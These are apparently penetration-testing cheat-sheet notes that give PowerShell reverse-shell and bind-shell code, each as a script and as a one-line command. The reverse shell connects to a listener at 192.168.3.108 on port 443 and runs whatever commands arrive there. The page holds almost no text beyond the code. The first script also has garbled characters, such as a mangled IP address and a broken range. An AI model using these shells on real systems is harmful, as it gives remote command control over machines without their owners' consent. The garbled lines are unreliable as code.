Powershell And Powercat

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('l0.ll.0.4' ,443);
$stream = $client.GetStream();
[byte[]]$bytes = 0 .. 655351%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 I Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.3.108',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"code

Bind Shell

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443)
$listener.start()
$client = $listener.AcceptTcpClient()r
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
  $sendback = (iex $data 2>&1 | Out-String )
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length)
  $stream.Flush()
}
$client.Close()
$listener.Stop()

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

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